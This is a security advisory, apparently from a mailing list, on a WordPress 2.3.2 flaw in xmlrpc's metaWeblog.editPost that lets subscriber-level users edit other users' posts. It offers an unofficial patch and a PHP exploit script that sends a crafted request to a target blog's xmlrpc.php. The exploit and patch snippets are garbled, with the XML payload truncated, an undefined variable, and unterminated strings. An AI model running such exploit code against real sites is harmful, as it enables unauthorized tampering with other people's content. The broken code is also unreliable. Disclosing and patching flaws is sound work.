[UNIX] WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc, Exploit, Patch)

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WordPress metaWeblog.editPost Post Arbitrary Modification (xmlrpc,
Exploit, Patch)


<http://wordpress.org/> WordPress is "a state-of-the-art semantic
personal publishing platform with a focus on aesthetics, web standards,
and usability". A vulnerability in the way Wordpress handles the
metaWeblog.editPost allows remote attackers that have just subscriber
privileges to modify the posts of other users.


Vulnerable Systems:
* Wordpress version 2.3.2

To prevent the xmlrpc engine from modifying posts without verifying
whether the person has rights to do so or not modify the following PHP
if ( ('post' == $post_type ) && !current_user_can('edit_post', $post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this

To include:
if ( (1 || 'post' == $post_type ) && !current_user_can('edit_post',
$post_ID) )
return new IXR_Error(401, __('Sorry, you can not edit this

Of course the patch is not official, and would probably break other stuff
- but security is our number one priority, as a side note version 2.0.x
doesn't have that 'post' == ... test.

$host = ''; // blog url
$page = '/xmlrpc.php';
$data = '<?xml version="1.0" ?>
<value>Whoo is ma biatch</value>

$exploited = fsockopen($host, 80, $errorNumber, $errorString);
$requestHeader = $method." ".$page." HTTP/1.1\r\n";
$requestHeader.= "Host: ".$host."\r\n";
$requestHeader.= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\r\n";
$requestHeader.= "Content-Type: application/x-www-form-urlencoded\r\n";
$requestHeader.= "Content-Length: ".strlen($data)."\r\n";
$requestHeader.= "Connection: close\r\n\r\n";
$requestHeader.= $data;
fwrite($exploited, $requestHeader );

echo 'done ;)';


The information has been provided by Paul (Yabba) Jones.


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